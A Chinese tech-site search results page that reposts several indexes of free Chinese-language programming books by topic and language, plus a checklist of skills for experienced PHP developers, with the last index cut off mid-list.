首页> 搜索结果页
"git yii2 api" 检索
共 21 条结果
免费的编程中文书籍索引【收藏速度】
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/chinahuyong/article/details/45060203 语言无关类 优质博客 PyTab在线手册中心 ImportNew 廖雪峰的官方网站 程序员博客墙 操作系统 开源世界旅行手册 鸟哥的Linux私房菜 Linux 系统高级编程 The Linux Command Line (中英文版) Linux 设备驱动 (第三版) 深入分析Linux内核源码 UNIX TOOLBOX Docker中文指南 Docker —— 从入门到实践 FreeRADIUS新手入门 Mac 开发配置手册 FreeBSD 使用手册 Linux 命令行(中文版) Linux 构建指南 Linux工具快速教程 理解Linux进程 Linux From Scratch systemd 中文翻译 智能系统 一步步搭建物联网系统 WEB服务器 Nginx开发从入门到精通 (淘宝团队出品) Nginx教程从入门到精通(PDF版本,运维生存时间出品) Apache 中文手册 Elasticsearch权威指南 版本控制 Git教程 (本文由 @廖雪峰 创作,如果觉得本教程对您有帮助,可以去 iTunes 购买) git - 简易指南 猴子都能懂的GIT入门 Git 参考手册 Pro Git Pro Git 中文版 (整理在gitbook上) Git Magic GotGitHub Git Community Book 中文版 Mercurial 使用教程 HgInit (中文版) 沉浸式学 Git Git-Cheat-Sheet (感谢 @flyhigher139 翻译了中文版) GitHub秘籍 Github帮助文档 git-flow 备忘清单 编辑器 exvim--vim 改良成IDE项目 笨方法学Vimscript 中译本 Vim中文文档 所需即所获:像 IDE 一样使用 vim NoSQL NoSQL数据库笔谈 (PDF) Redis 设计与实现 Redis 命令参考 带有详细注释的 Redis 3.0 代码 带有详细注释的 Redis 2.6 代码 The Little MongoDB Book The Little Redis Book Neo4j 简体中文手册 v1.8 Neo4j .rb 中文資源 PostgreSQL PostgreSQL 8.2.3 中文文档 MySQL MySQL索引背后的数据结构及算法原理 21分钟MySQL入门教程 项目相关 持续集成(第二版) (译言网) 让开发自动化系列专栏 追求代码质量 selenium 中文文档 Joel谈软件 約耳談軟體(Joel on Software) Gradle 2 用户指南 编码规范 开源软件架构 设计模式 图说设计模式 史上最全设计模式导学目录 Web 关于浏览器和网络的 20 项须知 前端知识体系 浏览器开发工具的秘密 Chrome 开发者工具中文手册 Chrome扩展开发文档 Grunt中文文档 Yeoman中文文档 移动Web前端知识库 正则表达式30分钟入门教程 前端开发体系建设日记 移动前端开发收藏夹 JSON风格指南 HTTP 接口设计指北 前端资源分享(一) 前端资源分享(二) 前端代码规范 及 最佳实践 w3school教程整理 Wireshark用户手册 HTTP 下午茶 HTTP/2.0 中文翻译 大数据 大数据/数据挖掘/推荐系统/机器学习相关资源 面向程序员的数据挖掘指南 大型集群上的快速和通用数据处理架构 数据挖掘中经典的算法实现和详细的注释 编程艺术 程序员编程艺术 每个程序员都应该了解的内存知识(译)【第一部分】 取悦的工序:如何理解游戏 (豆瓣阅读,免费书籍) 编程技巧总汇 其它 OpenWrt智能、自动、透明FQ路由器教程 SAN 管理入门系列 Sketch 中文手册 语言相关类 Android Android Design(中文版) Google Material Design 正體中文版 (译本一 译本二) Google Android官方培训课程中文版 Android学习之路 Android开发技术前线(android-tech-frontier) AWK awk程序设计语言 C/C++ C++ 并发编程指南 (@傅海平ICT) Linux C编程一站式学习 (宋劲杉, 北京亚嵌教育研究中心) CGDB中文手册 100个gdb小技巧 100个gcc小技巧 ZMQ 指南 How to Think Like a Computer Scientist (中英文版) 跟我一起写Makefile(PDF) GNU make中文手册 GNU make 指南 Google C++ 风格指南 C/C++ Primer (by @andycai) 简单易懂的C魔法 Cmake 实践 (PDF版) C++ FAQ LITE(中文版) C++ Primer 5th Answers CSS 学习CSS布局 通用 CSS 笔记、建议与指导 CSS参考手册 Emmet 文档 前端代码规范 (腾讯alloyteam团队) HTML和CSS编码规范 Sass Guidelines 中文 Dart Dart 语言导览 Erlang 21天学通Erlang Fortran Fortran77和90/95编程入门 Go Go编程基础 Go入门指南 学习Go语言 (PDF) Go Web 编程 (此书已经出版,希望开发者们去购买,支持作者的创作) Go实战开发 (当我收录此项目时,作者已经写完第三章,如果读完前面章节觉得有帮助,可以给作者捐赠,以鼓励作者的继续创作) Network programming with Go 中文翻译版本 Effective Go Groovy 实战 Groovy 系列 Haskell Real World Haskell 中文版 Haskell趣学指南 iOS iOS开发60分钟入门 iOS7人机界面指南 Google Objective-C Style Guide 中文版 iPhone 6 屏幕揭秘 Apple Watch开发初探 马上着手开发 iOS 应用程序 网易斯坦福大学公开课:iOS 7应用开发字幕文件 Java Apache Shiro 用户指南 Jersey 2.x 用户指南 Spring Framework 4.x参考文档 Spring Boot参考指南 (翻译中) MyBatis中文文档 用jersey构建REST服务 Activiti 5.x 用户指南 Google Java编程风格指南 Netty 4.x 用户指南 Netty 实战(精髓) REST 实战 Java 编码规范 Apache MINA 2 用户指南 JavaScript Google JavaScript 代码风格指南 Google JSON 风格指南 Airbnb JavaScript 规范 JavaScript 标准参考教程(alpha) Javascript编程指南 (源码) javascript 的 12 个怪癖 JavaScript 秘密花园 JavaScript核心概念及实践 (PDF) (此书已由人民邮电出版社出版发行,但作者依然免费提供PDF版本,希望开发者们去购买,支持作者) 《JavaScript 模式》 “JavaScript patterns”中译本 命名函数表达式探秘 (注:原文由为之漫笔翻译,原始地址无法打开,所以此处地址为我博客上的备份) 学用 JavaScript 设计模式 (开源中国) 深入理解JavaScript系列 ECMAScript 6 入门 (作者:阮一峰) jQuery jQuery 解构 简单易懂的JQuery魔法 How to write jQuery plugin Node.js Node入门 七天学会NodeJS Nodejs Wiki Book (繁体中文) express.js 中文文档 koa 中文文档 使用 Express + MongoDB 搭建多人博客 Express框架 Node.js 包教不包会 Learn You The Node.js For Much Win! (中文版) Node debug 三法三例 nodejs中文文档 underscore.jsUnderscore.js中文文档 backbone.js backbone.js入门教程 (PDF) Backbone.js入门教程第二版 Developing Backbone.js Applications(中文版) AngularJS AngularJS最佳实践和风格指南 AngularJS中译本 AngularJS入门教程 构建自己的AngularJS 在Windows环境下用Yeoman构建AngularJS项目 Zepto.jsZepto.js 中文文档 Sea.jsHello Sea.js React.jsReact.js 中文文档 CoffeeScript CoffeeScript Cookbook The Little Book on CoffeeScript中文版 CoffeeScript 编码风格指南 ExtJSExt4.1.0 中文文档 MeteorDiscover Meteor Chrome扩展及应用开发 LaTeX 一份其实很短的 LaTeX 入门文档 一份不太简短的 LATEX 2ε 介绍 (PDF版) LISP ANSI Common Lisp 中文翻譯版 Lua Lua编程入门 Lua 5.1 参考手册 中文翻译 Lua 5.3 参考手册 中文翻译 Perl Modern Perl 中文版 Perl 程序员应该知道的事 PHP PHP调试技术手册(PDF) XDebug 2中文手册(译) (CHM) PHP之道 PHP 最佳实践 PHP 开发者实践 深入理解PHP内核 PHP扩展开发及内核应用 CodeIgniter 用户指南 Laravel4 中文文档 Laravel 入门 Symfony2中文文档 (未译完) Phalcon中文文档(翻译进行中) YiiBook几本Yii框架的在线教程 深入理解 Yii 2.0 Yii 框架中文文檔 简单易懂的PHP魔法 swoole文档及入门教程 Composer 中文网 Slim 中文文档 Prolog 笨办法学Prolog Python 小白的Python教程 简明Python教程 零基础学Python 可爱的 Python Python 2.7 官方教程中文版 Python 3.3 官方教程中文版 深入 Python 3 PEP8 Python代码风格规范 Google Python 风格指南 中文版 Python入门教程 (PDF) Python的神奇方法指南 笨办法学 Python (PDF版下载) Django 1.5 文档中文版 正在翻译中 Diango 1.7 文档中文版 正在翻译中,目前只翻译了目录 Django 最佳实践 Django搭建简易博客教程 The Django Book 中文版 web.py 0.3 新手指南 Web.py Cookbook 简体中文版 Dive Into Python 中文版 Bottle 文档中文版 (需FQ) Flask 文档中文版 Jinja2 文档中文版 Werkzeug 文档中文版 Flask之旅 Introduction to Tornado 中文翻译 Python自然语言处理中文版 (感谢陈涛同学的翻译,也谢谢 @shwley 联系了作者) Python 绘图库 matplotlib 官方指南中文翻译 Scrapy 0.25 文档 ThinkPython Python快速教程 Python 正则表达式操作指南 python初级教程:入门详解 Python Cookbook 第3版 中文版 Twisted 与异步编程入门 TextGrocery 中文 API ( 基于svm算法的一个短文本分类 Python 库 ) Requests: HTTP for Humans Pillow 中文文档 R R语言忍者秘笈 Ruby Ruby 风格指南 Rails 风格指南 笨方法學 Ruby Ruby on Rails 指南 Ruby on Rails 實戰聖經 Ruby on Rails Tutorial 原书第 3 版 (本书网页版免费提供,电子版以 PDF、EPub 和 Mobi 格式提供购买,仅售 9.9 美元) 编写Ruby的C拓展 Ruby 源码解读 Scala Scala课堂 (Twitter的Scala中文教程) Effective Scala(Twitter的Scala最佳实践的中文翻译) Scala指南 Scheme Yet Another Scheme Tutorial Scheme入门教程 Scheme语言简明教程 Shell Shell脚本编程30分钟入门 Bash脚本15分钟进阶教程 Linux工具快速教程 shell十三问 Swift The Swift Programming Language 中文版 Swift 语言指南 Stanford 公开课,Developing iOS 8 Apps with Swift 字幕翻译文件 读书笔记及其它 编译原理(紫龙书)中文第2版习题答案 把《编程珠玑》读薄 Effective C++读书笔记 Golang 学习笔记、Python 学习笔记、C 学习笔记 (PDF) Jsoup 学习笔记 学习笔记: Vim、Python、memcached 图灵开放书翻译计划--C++、Python、Java等 蒂姆·奥莱利随笔 (由译言网翻译,电子版免费) Octave 入门 (PDF版) SICP 解题集 精彩博客集合 正则表达式简明参考 中文文案排版指北 Standard C 语言标准函数库速查 (Cheat Sheet) Git Cheatsheet Chs JavaScript语言精粹 制造开源软件 提问的智慧 Markdown 入门参考 测试相关 移动APP自动化测试优秀框架Appium API Reference V1.2.0 CN 作者: EricHu 出处:http://www.cnblogs.com/huyong/ Email:406590790@qq.com QQ交流:406590790 关于作者:高级工程师、信息系统项目管理师、DBA。专注于微软平台项目架构、管理和企业解决方案,多年项目开发与管理经验,曾多次组织并开发多个大型项目,在面向对象、面向服务以及数据库领域有一定的造诣。现主要从事基于 RDIFramework.NET 框架的技术开发、咨询工作,主要服务于金融、医疗卫生、铁路、电信、物流、物联网、制造、零售等行业。 如有问题或建议,请多多赐教! 本文版权归作者和CNBLOGS博客共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,如有问题,可以通过邮箱或QQ 联系我,非常感谢。
文章
JavaScript  ·  大数据  ·  Linux  ·  程序员  ·  PHP  ·  Android开发  ·  C++  ·  Python  ·  索引
2015-04-15
关于毕业五年PHP成长疑惑
1.PHP语法基础是否都会,比如异常捕捉,面向对象,数组操作语法,字符串操作,cookie,session,全局变量,超全局数组,防止sql注入,mysql预处理2.MYSQL基础语法,字段设计,原生sql语句,如何优化查询效率,索引如何使用,分组聚合,表关联(一对多,多对多),分库分表,3.服务器:lnmp如何搭建,在搭建过程中,发生那些奇怪问题(PHP文件无法解析,访问PHP文件直接下载下来,vhost如何配置,php-fpm如何重启),你如何解决的?4.API设计,访问控制权限(令牌模式访问API),如何防止API恶意调用,如何进行API版本控制,API错误返回码如何定义,postman工具使用5.代码管理工具svn,git 如何进行代码合并,如何提交,jenkins代码自动发布构建,如何更新数据库字段6.开发规范:local->dev->release->master (开发环境-》测试环境-》预发布环境-》正式环境)7.开发工具使用:会使用debug吗,还在傻傻用echo,var_dump()?8.框架 ThinkPHP,Yii,Laravel,是否阅读过源码,swoole了解过吗9.高并发,大流量如何解决,负载均衡,服务器集群,微服务了解过吗10.第三方API开发,微信公众号(API调用学习),微信小程序(登陆授权流程),(支付宝,微信支付支付流程)
文章
SQL  ·  负载均衡  ·  jenkins  ·  测试技术  ·  API  ·  持续交付  ·  PHP  ·  开发工具  ·  git  ·  微服务
2023-01-04
免费的编程中文书籍索引【必须转载、有空必看】
免费的编程中文书籍索引 免费的编程中文书籍索引 国外程序员在 stackoverflow 推荐的程序员必读书籍,中文版。 stackoverflow 上的程序员应该阅读的非编程类书籍有哪些? 中文版 github 上的一个流行的编程书籍索引 中文版 目录 语言无关类 操作系统 智能系统 分布式系统 编译原理 函数式概念 计算机图形学 WEB服务器 版本控制 编辑器 NoSQL PostgreSQL MySQL 管理和监控 项目相关 设计模式 Web 大数据 编程艺术 其它 语言相关类 Android APP AWK C/C++ C# Clojure CSS/HTML Dart Elixir Erlang Fortran Go Groovy Haskell iOS Java JavaScript LaTeX LISP Lua OCaml Perl PHP Prolog Python R Ruby Rust Scala Shell Swift 读书笔记及其它 测试相关 语言无关类 操作系统 开源世界旅行手册 鸟哥的Linux私房菜 The Linux Command Line (中英文版) Linux 设备驱动 (第三版) 深入分析Linux内核源码 UNIX TOOLBOX Docker中文指南 Docker —— 从入门到实践 Docker入门实战 Docker Cheat Sheet FreeRADIUS新手入门 Mac 开发配置手册 FreeBSD 使用手册 Linux 命令行(中文版) Linux 构建指南 Linux工具快速教程 Linux Documentation (中文版) 嵌入式 Linux 知识库 (eLinux.org 中文版) 理解Linux进程 命令行的艺术 SystemTap新手指南 操作系统思考 智能系统 一步步搭建物联网系统 分布式系统 走向分布式 编译原理 《计算机程序的结构和解释》公开课 翻译项目 函数式概念 傻瓜函数编程 计算机图形学 OpenGL 教程 WebGL自学网 WEB服务器 Nginx开发从入门到精通 (淘宝团队出品) Nginx教程从入门到精通(PDF版本,运维生存时间出品) OpenResty最佳实践 Apache 中文手册 版本控制 Git教程 (本文由 廖雪峰 创作,如果觉得本教程对您有帮助,可以去 iTunes 购买) git - 简易指南 猴子都能懂的GIT入门 Git 参考手册 Pro Git Pro Git 中文版 (整理在gitbook上) Git Magic GotGitHub Git权威指南 Git Community Book 中文版 Mercurial 使用教程 HgInit (中文版) 沉浸式学 Git Git-Cheat-Sheet (感谢 @flyhigher139 翻译了中文版) GitHub秘籍 GitHub帮助文档 git-flow 备忘清单 svn 手册 GitHub漫游指南 编辑器 exvim--vim 改良成IDE项目 笨方法学Vimscript 中译本 Vim中文文档 所需即所获:像 IDE 一样使用 vim Atom飞行手册中文版 Markdown·简单的世界 一年成为 Emacs 高手 Emacs 生存指南 Atom官方手册 NoSQL NoSQL数据库笔谈 Redis 设计与实现 Redis 命令参考 带有详细注释的 Redis 3.0 代码 带有详细注释的 Redis 2.6 代码 The Little MongoDB Book The Little Redis Book Neo4j 简体中文手册 v1.8 Neo4j .rb 中文資源 Disque 使用教程 Apache Spark 设计与实现 PostgreSQL PostgreSQL 8.2.3 中文文档 PostgreSQL 9.3.1 中文文档 PostgreSQL 9.5.3 中文文档 MySQL MySQL索引背后的数据结构及算法原理 21分钟MySQL入门教程 管理和监控 ELKstack 中文指南 Mastering Elasticsearch(中文版) ElasticSearch 权威指南 Elasticsearch 权威指南(中文版) Logstash 最佳实践 Puppet 2.7 Cookbook 中文版 项目相关 持续集成(第二版) (译言网) 让开发自动化系列专栏 追求代码质量 selenium 中文文档 Selenium Webdriver 简易教程 Joel谈软件 約耳談軟體(Joel on Software) Gradle 2 用户指南 Gradle 中文使用文档 编码规范 开源软件架构 GNU make 指南 GNU make 中文手册 The Twelve-Factor App 设计模式 图说设计模式 史上最全设计模式导学目录 design pattern 包教不包会 设计模式 Java 版 Web 关于浏览器和网络的 20 项须知 浏览器开发工具的秘密 Chrome 开发者工具中文手册 Chrome扩展开发文档 Grunt中文文档 gulp中文文档 Gulp 入门指南 移动Web前端知识库 正则表达式30分钟入门教程 前端开发体系建设日记 移动前端开发收藏夹 JSON风格指南 HTTP 接口设计指北 前端资源分享(一) 前端资源分享(二) 前端代码规范 及 最佳实践 前端开发者手册 前端工程师手册 w3school教程整理 Wireshark用户手册 一站式学习Wireshark HTTP 下午茶 HTTP/2.0 中文翻译 RFC 7540 - HTTP/2 中文翻译版 http2讲解 3 Web Designs in 3 Weeks 站点可靠性工程 大数据 大数据/数据挖掘/推荐系统/机器学习相关资源 面向程序员的数据挖掘指南 大型集群上的快速和通用数据处理架构 数据挖掘中经典的算法实现和详细的注释 Spark 编程指南简体中文版 编程艺术 程序员编程艺术 每个程序员都应该了解的内存知识(译)【第一部分】 取悦的工序:如何理解游戏 (豆瓣阅读,免费书籍) 其它 SAN 管理入门系列 Sketch 中文手册 深入理解并行编程 程序员的自我修养 Growth: 全栈增长工程师指南 语言相关类 Android Android Design(中文版) Google Material Design 正體中文版 (译本一 译本二) Material Design 中文版 Google Android官方培训课程中文版 Android学习之路 Android开发技术前线(android-tech-frontier) Point-of-Android Android 一些重要知识点解析整理 Android6.0新特性详解 APP Apache Cordova 开发指南 AWK awk程序设计语言 awk中文指南 C/C++ C/C++ 中文参考手册 (欢迎大家参与在线翻译和校对) C 语言编程透视 C++ 并发编程指南 Linux C编程一站式学习 (宋劲杉, 北京亚嵌教育研究中心) CGDB中文手册 100个gdb小技巧 100个gcc小技巧 ZMQ 指南 How to Think Like a Computer Scientist (中英文版) 跟我一起写Makefile(PDF) GNU make中文手册 GNU make 指南 Google C++ 风格指南 C/C++ Primer (by @andycai) 简单易懂的C魔法 Cmake 实践 (PDF版) C++ FAQ LITE(中文版) C++ Primer 5th Answers C++ 并发编程(基于C++11) QT 教程 DevBean的《Qt学习之路2》(Qt5) C++ Template 进阶指南 libuv中文教程 Boost 库中文教程 笨办法学C C# MSDN C# 中文文档 .NET 类库参考 ASP.NET MVC 5 入门指南 超全面的 .NET GDI+ 图形图像编程教程 .NET控件开发基础 .NET开发要点精讲(初稿) Clojure Clojure入门教程 <h3 id="csshtml">CSS/HTML</h3> 学习CSS布局 通用 CSS 笔记、建议与指导 CSS参考手册 Emmet 文档 前端代码规范 (腾讯 AlloyTeam 团队) HTML和CSS编码规范 Sass Guidelines 中文 CSS3 Tutorial 《CSS3 教程》 MDN HTML 中文文档 MDN CSS 中文文档 Dart Dart 语言导览 Elixir Elixir编程入门 Erlang 21天学通Erlang Fortran Fortran77和90/95编程入门 Go Go编程基础 Go入门指南 学习Go语言 Go Web 编程 (此书已经出版,希望开发者们去购买,支持作者的创作) Go实战开发 (当我收录此项目时,作者已经写完第三章,如果读完前面章节觉得有帮助,可以给作者捐赠,以鼓励作者的继续创作) Network programming with Go 中文翻译版本 Effective Go Go 语言标准库 Golang标准库文档 Revel 框架手册 Java程序员的Golang入门指南 Go命令教程 Go语言博客实践 Go 官方文档翻译 深入解析Go Go语言圣经(中文版) (GitBook) Groovy 实战 Groovy 系列 Haskell Real World Haskell 中文版 Haskell趣学指南 iOS iOS开发60分钟入门 iOS7人机界面指南 Google Objective-C Style Guide 中文版 iPhone 6 屏幕揭秘 Apple Watch开发初探 马上着手开发 iOS 应用程序 网易斯坦福大学公开课:iOS 7应用开发字幕文件 Java Apache Shiro 用户指南 Jersey 2.x 用户指南 Spring Framework 4.x参考文档 Spring Boot参考指南 (翻译中) MyBatis中文文档 MyBatis Generator 中文文档 用jersey构建REST服务 Activiti 5.x 用户指南 Google Java编程风格指南 Netty 4.x 用户指南 Netty 实战(精髓) REST 实战 Java 编码规范 Apache MINA 2 用户指南 H2 Database 教程 Java Servlet 3.1 规范 JSSE 参考指南 Java开源实现及最佳实践 Java 编程要点 Think Java Java 8 简明教程 JavaScript Google JavaScript 代码风格指南 Google JSON 风格指南 Airbnb JavaScript 规范 JavaScript 标准参考教程(alpha) Javascript编程指南 (源码) javascript 的 12 个怪癖 JavaScript 秘密花园 JavaScript核心概念及实践 (PDF) (此书已由人民邮电出版社出版发行,但作者依然免费提供PDF版本,希望开发者们去购买,支持作者) 《JavaScript 模式》 “JavaScript patterns”中译本 命名函数表达式探秘 (注:原文由为之漫笔翻译,原始地址无法打开,所以此处地址为我博客上的备份) 学用 JavaScript 设计模式 (开源中国) 深入理解JavaScript系列 ECMAScript 5.1 中文版 ECMAScript 6 入门 (作者:阮一峰) JavaScript Promise迷你书 You-Dont-Know-JS (深入JavaScript语言核心机制的系列图书) JavaScript 教程 廖雪峰 MDN JavaScript 中文文档 jQuery jQuery 解构 简单易懂的JQuery魔法 How to write jQuery plugin You Don't Need jQuery 如何实现一个类jQuery? Node.js Node入门 七天学会NodeJS Nodejs Wiki Book (繁体中文) express.js 中文文档 koa 中文文档 一起学koa 使用 Express + MongoDB 搭建多人博客 Express框架 Node.js 包教不包会 Learn You The Node.js For Much Win! (中文版) Node debug 三法三例 nodejs中文文档 orm2 中文文档 underscore.js Underscore.js中文文档 backbone.js backbone.js中文文档 backbone.js入门教程 (PDF) Backbone.js入门教程第二版 Developing Backbone.js Applications(中文版) AngularJS AngularJS最佳实践和风格指南 AngularJS中译本 AngularJS入门教程 构建自己的AngularJS 在Windows环境下用Yeoman构建AngularJS项目 Zepto.js Zepto.js 中文文档 Sea.js Hello Sea.js React.js React.js 中文文档 React webpack-cookbook React 入门教程 React Native 中文文档(含最新Android内容) Learn React & Webpack by building the Hacker News front page impress.js impress.js的中文教程 CoffeeScript CoffeeScript Cookbook The Little Book on CoffeeScript中文版 CoffeeScript 编码风格指南 TypeScipt TypeScript Handbook ExtJS Ext4.1.0 中文文档 Meteor Discover Meteor Meteor 中文文档 Angular-Meteor 中文教程 Chrome扩展及应用开发 LaTeX 一份其实很短的 LaTeX 入门文档 一份不太简短的 LATEX 2ε 介绍 (PDF版) LISP Common Lisp ANSI Common Lisp 中文翻譯版 On Lisp 中文翻译版本 Scheme Yet Another Scheme Tutorial Scheme入门教程 Scheme语言简明教程 Racket Racket book Lua Lua编程入门 Lua 5.1 参考手册 中文翻译 Lua 5.3 参考手册 中文翻译 Lua源码欣赏 OCaml Real World OCaml Perl Modern Perl 中文版 Perl 程序员应该知道的事 PHP PHP 官方手册 PHP调试技术手册(PDF) PHP之道:php-the-right-way (@wulijun版 PHPHub版) PHP 最佳实践 PHP 开发者实践 深入理解PHP内核 PHP扩展开发及内核应用 Laravel5.1 中文文档 Laravel 5.1 LTS 速查表 Symfony2 Cookbook 中文版(版本 2.7.0 LTS) Symfony2中文文档 (未译完) YiiBook几本Yii框架的在线教程 深入理解 Yii 2.0 Yii 框架中文文檔 简单易懂的PHP魔法 swoole文档及入门教程 Composer 中文网 Slim 中文文档 Lumen 中文文档 PHPUnit 中文文档 Prolog 笨办法学Prolog Python 廖雪峰 Python 2.7 中文教程 廖雪峰 Python 3 中文教程 简明Python教程 零基础学 Python 第一版 零基础学 Python 第二版 可爱的 Python Python 2.7 官方教程中文版 Python 3.3 官方教程中文版 Python Cookbook 中文版 Python3 Cookbook 中文版 深入 Python 深入 Python 3 PEP8 Python代码风格规范 Google Python 风格指南 中文版 Python入门教程 (PDF) 笨办法学 Python (PDF EPUB) Python自然语言处理中文版 (感谢陈涛同学的翻译,也谢谢 @shwley 联系了作者) Python 绘图库 matplotlib 官方指南中文翻译 Scrapy 0.25 文档 ThinkPython ThinkPython 2ed Python快速教程 Python 正则表达式操作指南 python初级教程:入门详解 Twisted 与异步编程入门 TextGrocery 中文 API ( 基于svm算法的一个短文本分类 Python 库 ) Requests: HTTP for Humans Pillow 中文文档 PyMOTW 中文版 Python 官方文档中文版 Fabric 中文文档 Beautiful Soup 4.2.0 中文文档 用Python做科学计算 Sphinx 中文文档 精通 Python 设计模式 python 安全编程教程 程序设计思想与方法 知乎周刊·编程小白学Python Scipy 讲义 Python 学习笔记 基础篇 Python 学习笔记 模块篇 Python 标准库 中文版 Python进阶 Python 核心编程 第二版 CPyUG译 Python最佳实践指南 Python 精要教程 Python 量化交易教程 Django Django 1.5 文档中文版 正在翻译中 Diango 1.7 文档中文版 正在翻译中,目前只翻译了目录 Django 1.8.2 文档中文版 正在翻译中 Django 最佳实践 Django搭建简易博客教程 The Django Book 中文版 Django 设计模式与最佳实践 Django 网站开发 Cookbook Django Girls 學習指南 Flask Flask 文档中文版 Jinja2 文档中文版 Werkzeug 文档中文版 Flask之旅 Flask 扩展文档汇总 Flask 大型教程 SQLAlchemy 中文文档 web.py web.py 0.3 新手指南 Web.py Cookbook 简体中文版 Tornado Introduction to Tornado 中文翻译 Tornado源码解析 Tornado 4.3 文档中文版 R R语言忍者秘笈 Ruby Ruby 风格指南 Rails 风格指南 笨方法學 Ruby Ruby on Rails 指南 Ruby on Rails 實戰聖經 Ruby on Rails Tutorial 原书第 3 版 (本书网页版免费提供,电子版以 PDF、EPub 和 Mobi 格式提供购买,仅售 9.9 美元) Rails 实践 Rails 5 开发进阶(Beta) Rails 102 编写Ruby的C拓展 Ruby 源码解读 Ruby中的元编程 Rust rust book 中文翻译 rust primer Scala Scala课堂 (Twitter的Scala中文教程) Effective Scala(Twitter的Scala最佳实践的中文翻译) Scala指南 Shell Shell脚本编程30分钟入门 Bash脚本15分钟进阶教程 Linux工具快速教程 shell十三问 Shell编程范例 Swift The Swift Programming Language 中文版 Swift 语言指南 Stanford 公开课,Developing iOS 8 Apps with Swift 字幕翻译文件 C4iOS - COSMOS 读书笔记及其它 编译原理(紫龙书)中文第2版习题答案 把《编程珠玑》读薄 Effective C++读书笔记 Golang 学习笔记、Python 学习笔记、C 学习笔记 (PDF) Jsoup 学习笔记 学习笔记: Vim、Python、memcached 图灵开放书翻译计划--C++、Python、Java等 蒂姆·奥莱利随笔 (由译言网翻译,电子版免费) SICP 解题集 精彩博客集合 中文文案排版指北 Standard C 语言标准函数库速查 (Cheat Sheet) Git Cheatsheet Chs GitBook简明教程 JavaScript语言精粹 制造开源软件 提问的智慧 Markdown 入门参考 AsciiDoc简明指南 背包问题九讲 老齐的技术资料 前端技能汇总 借助开源项目,学习软件开发 前端工作面试问题 leetcode/lintcode题解/算法学习笔记 前端开发笔记本 测试相关 移动APP自动化测试优秀框架Appium API Reference V1.2.0 CN
文章
JavaScript  ·  Java  ·  大数据  ·  Linux  ·  程序员  ·  C#  ·  Android开发  ·  C++  ·  Python  ·  索引
2017-08-22
开源电子书
目录 语言无关类 操作系统 智能系统 分布式系统 编译原理 函数式概念 计算机图形学 WEB服务器 版本控制 编辑器 NoSQL PostgreSQL MySQL 管理和监控 项目相关 设计模式 Web 大数据 编程艺术 其它 语言相关类 Android APP AWK C/C++ C# Clojure CSS/HTML Dart Elixir Erlang Fortran Go Groovy Haskell iOS Java JavaScript LaTeX LISP Lua OCaml Perl PHP Prolog Python R Ruby Rust Scala Shell Swift 读书笔记及其它 测试相关 语言无关类 操作系统 Debian参考手册 开源世界旅行手册 鸟哥的Linux私房菜 The Linux Command Line (中英文版) Linux 设备驱动 (第三版) 深入分析Linux内核源码 UNIX TOOLBOX Docker中文指南 Docker —— 从入门到实践 Docker入门实战 Docker Cheat Sheet FreeRADIUS新手入门 Mac 开发配置手册 FreeBSD 使用手册 Linux 命令行(中文版) Linux 构建指南 Linux工具快速教程 Linux Documentation (中文版) 嵌入式 Linux 知识库 (eLinux.org 中文版) 理解Linux进程 命令行的艺术 SystemTap新手指南 操作系统思考 智能系统 一步步搭建物联网系统 分布式系统 走向分布式 编译原理 《计算机程序的结构和解释》公开课 翻译项目 函数式概念 傻瓜函数编程 计算机图形学 OpenGL 教程 WebGL自学网 WEB服务器 Nginx开发从入门到精通 (淘宝团队出品) Nginx教程从入门到精通(PDF版本,运维生存时间出品) OpenResty最佳实践 Apache 中文手册 版本控制 Git教程 (本文由 廖雪峰 创作,如果觉得本教程对您有帮助,可以去 iTunes 购买) git - 简易指南 猴子都能懂的GIT入门 Git 参考手册 Pro Git Pro Git 中文版 (整理在gitbook上) Git Magic GotGitHub Git权威指南 Git Community Book 中文版 Mercurial 使用教程 HgInit (中文版) 沉浸式学 Git Git-Cheat-Sheet (感谢 @flyhigher139 翻译了中文版) GitHub秘籍 GitHub帮助文档 git-flow 备忘清单 svn 手册 GitHub漫游指南 编辑器 exvim--vim 改良成IDE项目 笨方法学Vimscript 中译本 Vim中文文档 所需即所获:像 IDE 一样使用 vim Atom飞行手册中文版 Markdown·简单的世界 一年成为 Emacs 高手 Emacs 生存指南 Atom官方手册 NoSQL NoSQL数据库笔谈 Redis 设计与实现 Redis 命令参考 带有详细注释的 Redis 3.0 代码 带有详细注释的 Redis 2.6 代码 The Little MongoDB Book The Little Redis Book Neo4j 简体中文手册 v1.8 Neo4j .rb 中文資源 Disque 使用教程 Apache Spark 设计与实现 PostgreSQL PostgreSQL 8.2.3 中文文档 PostgreSQL 9.3.1 中文文档 PostgreSQL 9.5.3 中文文档 MySQL MySQL索引背后的数据结构及算法原理 21分钟MySQL入门教程 管理和监控 ELKstack 中文指南 Mastering Elasticsearch(中文版) ElasticSearch 权威指南 Elasticsearch 权威指南(中文版) Logstash 最佳实践 Puppet 2.7 Cookbook 中文版 项目相关 持续集成(第二版) (译言网) 让开发自动化系列专栏 追求代码质量 selenium 中文文档 Selenium Webdriver 简易教程 Joel谈软件 約耳談軟體(Joel on Software) Gradle 2 用户指南 Gradle 中文使用文档 编码规范 开源软件架构 GNU make 指南 GNU make 中文手册 The Twelve-Factor App 设计模式 图说设计模式 史上最全设计模式导学目录 design pattern 包教不包会 设计模式 Java 版 Web 关于浏览器和网络的 20 项须知 浏览器开发工具的秘密 Chrome 开发者工具中文手册 Chrome扩展开发文档 Grunt中文文档 gulp中文文档 Gulp 入门指南 移动Web前端知识库 正则表达式30分钟入门教程 前端开发体系建设日记 移动前端开发收藏夹 JSON风格指南 HTTP 接口设计指北 前端资源分享(一) 前端资源分享(二) 前端代码规范 及 最佳实践 前端开发者手册 前端工程师手册 w3school教程整理 Wireshark用户手册 一站式学习Wireshark HTTP 下午茶 HTTP/2.0 中文翻译 RFC 7540 - HTTP/2 中文翻译版 http2讲解 3 Web Designs in 3 Weeks 站点可靠性工程 大数据 大数据/数据挖掘/推荐系统/机器学习相关资源 面向程序员的数据挖掘指南 大型集群上的快速和通用数据处理架构 数据挖掘中经典的算法实现和详细的注释 Spark 编程指南简体中文版 编程艺术 程序员编程艺术 每个程序员都应该了解的内存知识(译)【第一部分】 取悦的工序:如何理解游戏 (豆瓣阅读,免费书籍) 其它 OpenWrt智能、自动、透明FQ路由器教程 SAN 管理入门系列 Sketch 中文手册 深入理解并行编程 程序员的自我修养 Growth: 全栈增长工程师指南 语言相关类 Android Android Design(中文版) Google Material Design 正體中文版 